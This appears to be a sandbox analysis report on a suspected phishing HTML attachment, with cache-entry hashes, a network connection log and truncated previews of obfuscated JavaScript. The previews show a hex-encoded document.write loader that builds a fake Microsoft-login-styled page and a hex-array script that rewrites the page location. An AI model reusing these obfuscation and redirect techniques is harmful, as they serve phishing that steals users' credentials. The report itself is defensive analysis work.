Preview:	/!. Font Awesome Free 5.0.9 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.!function(){"use strict";var c={};try{"undefined"!=typeof window&&(c=window)}catch(c){}var l=(c.navigator\|\|{}).userAgent,h=void 0===l?"":l,v=c,z=(~h.indexOf("MSIE")\|\|h.indexOf("Trident/"),"___FONT_AWESOME___"),e=function(){try{return!0}catch(c){return!1}}(),a=[1,2,3,4,5,6,7,8,9,10],m=a.concat([11,12,13,14,15,16,17,18,19,20]);["xs","sm","lg","fw","ul","li","border","pull-left","pull-right","spin","pulse","rotate-90","rotate-180","rotate-270","flip-horizontal","flip-vertical","stack","stack-1x","stack-2x","inverse","layers","layers-text","layers-counter"].concat(a.map(function(c){return c+"x"})).concat(m.map(function(c){return"w-"+c}));var s=v\|\|{};s[z]\|\|(s[z]={}),s[z].styles\|\|(s[z].styles={}),s[z].hooks\|\|(s[z].hooks={}),s[z].shims\|\|(s[z].shims=[]);var t=s[z],f=Object.assign\|\|function(c){for(var l=1;l<arguments.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	114178
Entropy (8bit):	3.0100836220795317
Encrypted:	false
SSDEEP:	1536:Le+O4yEAYXWVX3wZyildbQhyLx3Z/dqLuY09hZaNoQsOMf8iuuoMQw+CwQwfwbw9:q03C
MD5:	A59B10485D743AAECB180F7CBAFA9E12
SHA1:	3DCF56AC3BD015599E838E1E969AFAEE9B1CE0C3
SHA-256:	1F600FB26B3310DA5013601DE6F43D708F25F5DF91377CA78EA1A82F8344543F
SHA-512:	50635AAFD3EDF8AF8A652A2E3796D94D8458EAC184B8206DE4E6C50645F033EE85FDF3736287CA7BABD274259ADB3A914EB6E196A87F57B4A841AFB883BB00D3
Malicious:	false
URL:	https://iia-p.org/lh/o.js
Preview:	var _0x6b29=["\x25\x33\x43\x73\x63\x72\x69\x70\x74\x25\x32\x30\x6c\x61\x6e\x67\x75\x61\x67\x65\x25\x33\x44\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x25\x33\x45\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x27\x25\x32\x35\x33\x43\x21\x44\x4f\x43\x54\x59\x50\x45\x25\x32\x35\x32\x30\x68\x74\x6d\x6c\x25\x32\x35\x33\x45\x25\x32\x35\x30\x41\x25\x32\x35\x33\x43\x68\x74\x6d\x6c\x25\x32\x35\x33\x45\x25\x32\x35\x30\x41\x25\x32\x35\x33\x43\x68\x65\x61\x64\x25\x32\x35\x33\x45\x25\x32\x35\x30\x41\x25\x32\x35\x33\x43\x6c\x69\x6e\x6b\x25\x32\x35\x32\x30\x72\x65\x6c\x25\x32\x35\x33\x44\x25\x32\x35\x32\x32\x73\x68\x6f\x72\x74\x63\x75\x74\x25\x32\x35\x32\x30\x69\x63\x6f\x6e\x25\x32\x35\x32\x32\x25\x32\x35\x32\x30\x68\x72\x65\x66\x25\x32\x35\x33\x44\x25\x32\x35\x32\x32\x68\x74\x74\x70\x73\x25\x32\x35\x33\x41\x25\x32\x35\x32\x46\x25\x32\x35\x32\x46\x6c\x6f\x67\x69\x6e\x63\x64\x6e\x2e\x6d\x73\x61\x75\x74\x68\x2e\x6e\x65\x74\x25\x32\x35\x32\x46\x31\x36\x2e\x

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (1995)
Entropy (8bit):	3.462692063418512
TrID:	HTML Application (8008/1) 100.00%
File name:	DOC-Zcns1G_.html
File size:	2'190 bytes
MD5:	1e32618fcf29bd29fe194054d4d84ca0
SHA1:	dbee4324588daf5ccbe2a9b66e15c580ddfbe640
SHA256:	149ed57259e2ed5e5b2b20e84c4ff006ca08c964794df235a933554114a9b930
SHA512:	47faf2f7977e3491e745990f6fa0d63c5e1f657076bd9999d1ec83bb5a5d39f052a9f4deb70ce4d65d563c74901aa282dc66ae11410d3570d21675a1b1146a29
SSDEEP:	48:J4mTGEW7XsHk8J4jMBAArj5YAMTtWLoGzSfATkllGMQ:96EWkk8WIuAiG0Q
TLSH:	4441318B43D70E32B8139D51D55E9C51AFFF88E4C5784489B80E72E6ABBEB4C10528DC
File Content Preview:	<script>. let x = ['3C', '73', '63', '72', '69', '70', '74', '3E', 'A', '20', '20', '20', '20', '64', '6F', '63', '75', '6D', '65', '6E', '74', '2E', '6C', '6F', '63', '61', '74', '69', '6F', '6E', '2E', '68', '72', '65', '66', '3D', '22', '23'

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 06:28:50.508826971 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.508872986 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:50.508996964 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.509279013 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.509289980 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:50.972826958 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:50.973128080 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.973151922 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:50.974862099 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:50.974934101 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.976133108 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.976222992 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:50.976495981 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:50.976505041 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.016886950 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.404081106 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.404180050 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.404205084 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.404253960 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.404273987 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.404288054 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.444861889 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.621809006 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.621840000 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.621879101 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.621906996 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.622483015 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.622502089 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.622548103 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.622560978 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.622895002 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.622915983 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.622965097 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.657891989 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.657903910 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.658001900 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.841062069 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.841177940 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.841494083 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.841583014 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.842175007 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.842261076 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.842909098 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.842995882 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.843875885 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.843944073 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.876678944 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.876801014 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:51.877232075 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:51.877331018 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:52.059279919 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:52.059374094 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:52.059720993 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:52.059787035 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:52.059875011 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:52.059931040 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:53.755495071 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:53.755521059 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:53.755605936 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:53.755815983 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:53.755830050 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:53.820449114 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:53.820508957 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:53.820580006 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:53.820616007 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:53.820650101 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:53.820678949 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:53.820790052 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:53.820805073 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:53.820919991 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:53.820931911 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.206590891 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:54.206866980 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:54.206878901 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:54.207931995 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:54.208010912 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:54.208298922 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:54.208353996 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:54.208431005 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:54.208437920 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:54.252912045 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:54.280992031 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.281275034 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.281331062 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.282380104 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.282469988 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.283418894 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.283494949 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.283572912 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.283590078 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.286674023 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.286868095 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.286936045 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.287837982 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.287913084 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.288136959 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.288192987 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.288201094 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.332895994 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.333158016 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.333180904 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.380868912 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.570264101 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.570343018 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.570409060 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.570436954 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.570497990 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.570574999 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.571480036 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.571506977 CEST	443	49706	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.571516991 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.571554899 CEST	49706	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.582475901 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.582570076 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.582631111 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.583132982 CEST	49707	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.583146095 CEST	443	49707	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.588222980 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.588260889 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.588359118 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.588618994 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:54.588625908 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:54.724338055 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:54.724364042 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:54.724457979 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:54.724478960 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:54.724502087 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:54.724584103 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:54.724689960 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:54.724700928 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:54.724917889 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:54.724931002 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.047310114 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.047550917 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.047578096 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.047923088 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.048218966 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.048280954 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.048352957 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.092125893 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.179527044 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.179822922 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.179837942 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.184266090 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.184341908 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.184725046 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.184902906 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.185091019 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.186665058 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.186922073 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.186945915 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.188050032 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.188122034 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.188433886 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.188508034 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.188602924 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.188611984 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.194506884 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.194555998 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.194628954 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.194808960 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.194828987 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.234981060 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.234982967 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.234997988 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.282881975 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.474673986 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.474769115 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.474908113 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.474992990 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.474992990 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.475641012 CEST	49710	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.475661993 CEST	443	49710	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.480674982 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.480900049 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.480957031 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.481355906 CEST	49709	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.481374025 CEST	443	49709	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.491388083 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491449118 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491491079 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491533995 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.491542101 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491596937 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.491597891 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491624117 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491667986 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.491673946 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491754055 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.491805077 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.492075920 CEST	49708	443	192.168.2.16	13.107.213.41
Apr 26, 2024 06:28:55.492079973 CEST	443	49708	13.107.213.41	192.168.2.16
Apr 26, 2024 06:28:55.494657993 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.494680882 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.494757891 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.495032072 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.495045900 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.580265999 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.580490112 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.580514908 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.582154036 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.582222939 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.583209038 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.583319902 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.633769989 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:55.634850979 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.634866953 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:28:55.680840969 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:55.680854082 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:55.680866957 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:28:55.728849888 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:55.950552940 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.950799942 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.950825930 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.951947927 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.958528042 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.958622932 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:55.958678961 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:55.970582962 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:55.970622063 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:55.970695019 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:55.970911026 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:55.970921993 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.000123024 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.000843048 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.272193909 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:28:56.423186064 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.424361944 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.424381971 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.427993059 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.428082943 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.428349018 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.428411961 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.428441048 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.476130962 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.479856014 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.479865074 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.539356947 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.577877045 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:28:56.737381935 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737446070 CEST	443	49714	13.107.246.41	192.168.2.16
